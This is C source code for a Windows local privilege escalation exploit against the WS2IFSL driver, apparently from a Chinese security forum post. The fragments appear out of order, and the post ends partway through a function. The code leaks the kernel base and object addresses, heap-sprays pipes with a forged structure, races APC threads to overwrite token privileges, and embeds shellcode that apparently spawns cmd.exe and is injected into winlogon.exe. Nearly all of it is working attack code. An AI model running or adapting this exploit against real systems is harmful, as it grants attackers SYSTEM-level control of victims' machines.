if (handle == (HANDLE)handle_information->Handels[i].Handle) {
DWORD64 TargetObject = (DWORD64)handle_information->Handels[i].Object;
printf("[+] Target found: pid[%d], Type[%d], Handle[%d], Object[%p]\n", handle_information->Handels[i].ProcessId, type, handle, TargetObject);
free(handle_information);
return TargetObject;
}
}
}
return ERR_DONT_FIND_TARGET;
}
HANDLE CreateSocketFileHandle(HANDLE hProc){
HANDLE fileHandle = 0;
UNICODE_STRING device_name;
OBJECT_ATTRIBUTES ObjectAttributes_t;
IO_STATUS_BLOCK IoStatusBlock_t;
RtlInitUnicodeString(&device_name, (PWSTR)L"\\Device\\WS2IFSL\\NifsSct");
InitializeObjectAttributes(&ObjectAttributes_t, &device_name, 0, NULL, NULL);
FILE_FULL_EA_INFORMATION * eaBuffer = (FILE_FULL_EA_INFORMATION*)malloc(sizeof(FILE_FULL_EA_INFORMATION) + sizeof("NifsSct") + sizeof(SocketData));
eaBuffer->NextEntryOffset = 0;
eaBuffer->Flags = 0;
eaBuffer->EaNameLength = sizeof("NifsSct") - 1;
eaBuffer->EaValueLength = sizeof(SocketData);
RtlCopyMemory(eaBuffer->EaName, "NifsSct", eaBuffer->EaValueLength + 1);
SocketData* eaData = (SocketData*)(((char*)eaBuffer) + sizeof(FILE_FULL_EA_INFORMATION) + sizeof("NifsSct") - 4);
eaData->unknown = 0x66666666;
eaData->handle = hProc;
NTSTATUS status = NtCreateFile(&fileHandle, MAXIMUM_ALLOWED, &ObjectAttributes_t, &IoStatusBlock_t, NULL, FILE_ATTRIBUTE_NORMAL, 0, FILE_OPEN_IF, 0, eaBuffer, sizeof(FILE_FULL_EA_INFORMATION) + sizeof("NifsSct") + sizeof(SocketData));
if (status != STATUS_SUCCESS){
printf("[-] NtCreateFile error: %x \n", status);
free(eaBuffer);
return fileHandle;
}
free(eaBuffer);
return fileHandle;
}
HANDLE CreateProcessFileHandle(HANDLE hThread){
HANDLE fileHandle = 0;
UNICODE_STRING device_name;
OBJECT_ATTRIBUTES ObjectAttributes_t;
IO_STATUS_BLOCK IoStatusBlock_t;
RtlInitUnicodeString(&device_name, (PWSTR)L"\\Device\\WS2IFSL\\NifsPvd");
InitializeObjectAttributes(&ObjectAttributes_t, &device_name, 0, NULL, NULL);
FILE_FULL_EA_INFORMATION * eaBuffer = (FILE_FULL_EA_INFORMATION*)malloc(sizeof(FILE_FULL_EA_INFORMATION) + sizeof("NifsPvd") + sizeof(ProcessData));
eaBuffer->NextEntryOffset = 0;
eaBuffer->Flags = 0;
eaBuffer->EaNameLength = sizeof("NifsPvd") - 1;
eaBuffer->EaValueLength = sizeof(ProcessData);
RtlCopyMemory(eaBuffer->EaName, "NifsPvd", eaBuffer->EaValueLength + 1);
ProcessData* eaData = (ProcessData*)(((char*)eaBuffer) + sizeof(FILE_FULL_EA_INFORMATION) + sizeof("NifsPvd") - 4);
eaData->handle = (void*) hThread;
eaData->unknown1 = (void*) 0x2222222;
eaData->unknown2 = (void*) 0x3333333;
eaData->unknown3 = (void*) 0x4444444;
eaData->unknown4 = (void*) 0x5555555;
NTSTATUS status = NtCreateFile(&fileHandle, MAXIMUM_ALLOWED, &ObjectAttributes_t, &IoStatusBlock_t, NULL, FILE_ATTRIBUTE_NORMAL, 0, FILE_OPEN_IF, 0, eaBuffer, sizeof(FILE_FULL_EA_INFORMATION) + sizeof("NifsPvd") + sizeof(ProcessData));
if (status != STATUS_SUCCESS){
printf("[-] NtCreateFile error: %x \n", status);
free(eaBuffer);
return fileHandle;
}
free(eaBuffer);
return fileHandle;
}
DWORD64 LeakKernelBase(){
LPVOID lpImageBase[1024];
DWORD lpcbNeeded;
TCHAR lpfileName[1024];
EnumDeviceDrivers(lpImageBase, sizeof(lpImageBase), &lpcbNeeded);
for(int i = 0; i < 1024; i++){
GetDeviceDriverBaseNameA(lpImageBase[i], lpfileName, 48);
if(!(strcmp(lpfileName, "ntoskrnl.exe"))){
printf("[+] Found Kernel Base: %p\n", lpImageBase[i]);
return lpImageBase[i];
}
}
return NULL;
}
int HeapSpray(DWORD64 thread_addr, DWORD64 TokenObj){
DWORD64 KernelBase = LeakKernelBase();
if(KernelBase == NULL){
return 0;
}
HMODULE UserBase = LoadLibraryExA("C:\\Windows\\System32\\ntoskrnl.exe", NULL, DONT_RESOLVE_DLL_REFERENCES);
if(KernelBase == NULL){
printf("[-] Failed to Load ntoskrnl.exe\n");
return 0;
}
LPVOID UserFuncAddr = GetProcAddress(UserBase, "SeSetAccessStateGenericMapping");
if(KernelBase == NULL){
printf("[-] Failed to Get Process Address\n");
return 0;
}
printf("[+] UserBase [%p], UserFuncAddr [%p]\n", UserBase, UserFuncAddr);
FreeLibrary(UserBase);
DWORD64 offset = (DWORD64)UserFuncAddr - (DWORD64)UserBase;
DWORD64 SeSetAccessStateGenericMapping_addr = KernelBase + offset;
printf("[+] Successfully Found SeSetAccessStateGenericMapping Addr[%p]\n", SeSetAccessStateGenericMapping_addr);
HMODULE UserBase2 = LoadLibraryExA("C:\\Windows\\System32\\ntoskrnl.exe", NULL, DONT_RESOLVE_DLL_REFERENCES);
if(KernelBase == NULL){
printf("[-] Failed to Load ntoskrnl.exe2\n");
return 0;
}
LPVOID UserFuncAddr2 = GetProcAddress(UserBase2, "xHalTimerWatchdogStop");
if(KernelBase == NULL){
printf("[-] Failed to Get Process Address2\n");
return 0;
}
printf("[+] UserBase2 [%p], UserFuncAddr2 [%p]\n", UserBase2, UserFuncAddr2);
FreeLibrary(UserBase2);
DWORD64 offset2 = (DWORD64)UserFuncAddr2 - (DWORD64)UserBase2;
DWORD64 xHalTimerWatchdogStop_addr = KernelBase + offset;
printf("[+] Successfully Found xHalTimerWatchdogStop Addr[%p]\n", xHalTimerWatchdogStop_addr);
DWORD64 Linked_List_Entry = thread_addr + 0xA8;
char payload[0x120 - 0x48];
memset(payload, '0', 0x120 - 0x48);
*(DWORD64*)(payload + 0x0) = 0x41414141414141;
*(DWORD64*)(payload + 0x8) = 0x12121212;
*(DWORD64*)(payload + 0x10) = Linked_List_Entry;
*(DWORD64*)(payload + 0x18) = Linked_List_Entry;
*(DWORD64*)(payload + 0x20) = SeSetAccessStateGenericMapping_addr;
*(DWORD64*)(payload + 0x28) = 0xffffffffffffffff;
*(DWORD64*)(payload + 0x30) = 0xffffffffffffffff;
*(DWORD64*)(payload + 0x38) = 0xffffffffffffffff;
*(DWORD64*)(payload + 0x40) = 0x4040404040404040;
*(DWORD64*)(payload + 0x48) = TokenObj;
for (int i = 0; i < 0x70; i++){
HANDLE readPipe;
HANDLE writePipe;
DWORD resultLength = 0;
BOOL res = CreatePipe(&readPipe, &writePipe, NULL, sizeof(payload));
if (!res){
printf("[-] Error Creating Pipe\n");
return 0;
}
res = WriteFile(writePipe, payload, sizeof(payload), &resultLength, NULL);
}
return 1;
}
int main() {
sync_for_thread1 = CreateEvent(0, 0, 0, 0);
sync_for_thread2 = CreateEvent(0, 0, 0, 0);
signal_for_LPE = CreateEvent(0, 0, 0, 0);
DWORD PID = GetCurrentProcessId();
HANDLE proc_handle = OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, PID);
if (proc_handle == NULL) {
printf("[-] Error Getting Process Handle\n");
return -1;
}
HANDLE hToken = 0;
BOOL stat = OpenProcessToken(proc_handle, TOKEN_ADJUST_PRIVILEGES, &hToken);
if(stat == FALSE){
printf("[-] Failed to Open Process Token\n");
return -1;
}
DWORD64 TokenObj = GetKernelPointer(hToken, TOKEN_TYPE);
if(TokenObj == ERR_DONT_FIND_TARGET){
printf("[-] Failed to find Token Obj\n");
return -1;
}
if(TokenObj == ERR_LENGTH_MISMATCH){
printf("[-] Length Mismatched Again\n");
return -1;
}
NtWriteFile = (NtWriteFile_t)GetProcAddress(LoadLibraryA("ntdll.dll"), "NtWriteFile");
NtTestAlert = (NtTestAlert_t)GetProcAddress(LoadLibraryA("ntdll.dll"), "NtTestAlert");
HANDLE hAPCThread1 = CreateThread(0, 0, APCThread_1, 0, 0, 0);
if (hAPCThread1 == INVALID_HANDLE_VALUE || !hAPCThread1){
printf("[-] Error CreateThread1\n");
return -1;
}
HANDLE hAPCThread2 = CreateThread(0, 0, APCThread_2, 0, 0, 0);
if (hAPCThread2 == INVALID_HANDLE_VALUE || !hAPCThread1){
printf("[-] Error CreateThread2\n");
return -1;
}
WaitForSingleObject(sync_for_thread1, -1);
WaitForSingleObject(sync_for_thread2, -1);
HANDLE procHandle = CreateProcessFileHandle(hAPCThread1);
HANDLE sockHandle = CreateSocketFileHandle(procHandle);
printf("[+] Successfully to Get procHandle[%d], socketHandle[%d]\n", procHandle, sockHandle);
DWORD64 thread_addr1 = GetKernelPointer(hAPCThread1, 0x8);
DWORD64 thread_addr2 = GetKernelPointer(hAPCThread2, 0x8);
printf("[+] Successfully to Get threadAddr1[%p], threadAddr2[%p]\n", thread_addr1, thread_addr2);
char* readBuffer = (char*)malloc(0x100);
DWORD bytesRead = 0;
IO_STATUS_BLOCK io;
LARGE_INTEGER byteOffset;
byteOffset.HighPart = 0;
byteOffset.LowPart = 0;
byteOffset.QuadPart = 0;
byteOffset.u.LowPart = 0;
byteOffset.u.HighPart = 0;
ULONG key = 0;
CloseHandle(procHandle);
NTSTATUS ret = NtWriteFile(sockHandle, 0, 0, 0, &io, readBuffer, 0x100, &byteOffset, &key);
CloseHandle(sockHandle);
if(!HeapSpray(thread_addr1, TokenObj - 8 + 0x40)){
printf("Heap Spray Error!");
}
signal_for_trigger1 = 1;
Sleep(0x20);
HANDLE procHandle2 = CreateProcessFileHandle(hAPCThread2);
HANDLE sockHandle2 = CreateSocketFileHandle(procHandle2);
printf("[+] Successfully to Get procHandle2[%d], socketHandle2[%d]\n", procHandle2, sockHandle2);
char* readBuffer2 = (char*)malloc(0x100);
DWORD bytesRead2 = 0;
IO_STATUS_BLOCK io2;
LARGE_INTEGER byteOffset2;
byteOffset2.HighPart = 0;
byteOffset2.LowPart = 0;
byteOffset2.QuadPart = 0;
byteOffset2.u.LowPart = 0;
byteOffset2.u.HighPart = 0;
ULONG key2 = 0;
CloseHandle(procHandle2);
NTSTATUS ret2 = NtWriteFile(sockHandle2, 0, 0, 0, &io2, readBuffer2, 0x100, &byteOffset2, &key2);
CloseHandle(sockHandle2);
if(!HeapSpray(thread_addr2, TokenObj + 0x40)){
printf("Heap Spray2 Error!");
}
signal_for_trigger2 = 1;
WaitForSingleObject(signal_for_LPE, -1);
ExitProcess(0);
return 0;
}
#include <Windows.h>
#include <stdio.h>
#include <string.h>
#include <ntstatus.h>
#include <processthreadsapi.h>
#include <winternl.h>
#include <tlhelp32.h>
#include<Psapi.h>
#include<profileapi.h>
#pragma comment(lib, "ntdll.lib")
unsigned char shellcode[] =
"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52\x51" \
"\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48\x8b\x52" \
"\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0" \
"\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2\xed" \
"\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48\x01\xd0\x8b\x80\x88" \
"\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44" \
"\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48" \
"\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01\xc1" \
"\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8\x58\x44" \
"\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49" \
"\x01\xd0\x41\x8b\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a" \
"\x41\x58\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41" \
"\x59\x5a\x48\x8b\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00" \
"\x00\x00\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b" \
"\x6f\x87\xff\xd5\xbb\xe0\x1d\x2a\x0a\x41\xba\xa6\x95\xbd\x9d\xff" \
"\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47" \
"\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5\x63\x6d\x64\x2e\x65" \
"\x78\x65\x00";
#define ERR_LENGTH_MISMATCH 0xc0001
#define ERR_DONT_FIND_TARGET 0xc0002
#define TOKEN_TYPE 0x5
#define PRIV_OFFSET 0x40
HANDLE sync_for_thread1 = 0;
HANDLE sync_for_thread2 = 0;
HANDLE signal_for_LPE = 0;
int signal_for_trigger1 = 0;
int signal_for_trigger2 = 0;
typedef NTSTATUS(WINAPI* NtWriteFile_t)(HANDLE FileHandle,
HANDLE Event,
PIO_APC_ROUTINE ApcRoutine,
PVOID ApcContext,
PIO_STATUS_BLOCK IoStatusBlock,
PVOID Buffer,
ULONG Length,
PLARGE_INTEGER ByteOffset,
PULONG key);
typedef NTSTATUS(WINAPI* NtTestAlert_t)(void);
NtTestAlert_t NtTestAlert = NULL;
NtWriteFile_t NtWriteFile = NULL;
typedef struct _SYSTEM_HANDLE_TABLE_ENTRY_INFO
{
ULONG ProcessId;
UCHAR ObjectTypeNumber;
UCHAR Flags;
USHORT Handle;
void* Object;
ACCESS_MASK GrantedAccess;
} SYSTEM_HANDLE, * PSYSTEM_HANDLE;
typedef struct _SYSTEM_HANDLE_INFORMATION
{
ULONG NumberOfHandles;
SYSTEM_HANDLE Handels[1];
} SYSTEM_HANDLE_INFORMATION, * PSYSTEM_HANDLE_INFORMATION;
typedef struct _FILE_FULL_EA_INFORMATION {
ULONG NextEntryOffset;
UCHAR Flags;
UCHAR EaNameLength;
USHORT EaValueLength;
CHAR EaName[1];
} FILE_FULL_EA_INFORMATION, *PFILE_FULL_EA_INFORMATION;
typedef struct PorcessData{
HANDLE handle;
void* unknown1;
void* unknown2;
void* unknown3;
void* unknown4;
}ProcessData;
typedef struct SocketData{
void* unknown;
HANDLE handle;
}SocketData;
DWORD WINAPI APCThread_1(LPVOID lparam){
SetEvent(sync_for_thread1);
while(1){
if(signal_for_trigger1 == 1){
printf("[+] thread1 triggering vul...\n");
NtTestAlert();
while(1){
Sleep(0x1000);
}
}
else{
Sleep(1);
}
}
return 0;
}
void InjectCode(){
PROCESSENTRY32W entry;
entry.dwSize = sizeof(PROCESSENTRY32W);
HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, NULL);
if (snapshot == INVALID_HANDLE_VALUE){
printf("[-] CreateToolhelp32Snapshot failed: %x\n", GetLastError());
return;
}
int pid = -1;
if (Process32FirstW(snapshot, &entry)) {
do{
wprintf(L"[DEBUG] Process: %s, PID: %d\n", entry.szExeFile, entry.th32ProcessID);
if (_wcsicmp(entry.szExeFile, L"winlogon.exe") == 0) {
printf("Found pid[%d]\n", entry.th32ProcessID);
pid = entry.th32ProcessID;
break;
}
} while (Process32NextW(snapshot, &entry));
}
else{
printf("[-] Process32FirstW failed: %x\n", GetLastError());
}
CloseHandle(snapshot);
if (pid < 0){
printf("[-] Could not find process\n");
return;
}
HANDLE h = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
if (!h){
printf("[-] Could not open process: %x\n", GetLastError());
return;
}
printf("Allocating Shellcode Space...\n");
void* buffer = VirtualAllocEx(h, NULL, sizeof(shellcode), MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if (!buffer){
printf("[-] VirtualAllocEx failed: %x\n", GetLastError());
CloseHandle(h);
return;
}
传播安全知识、拓宽行业人脉——看雪讲师团队等你加入!
最后于 2025-8-31 14:52
被h1J4cker编辑
,原因: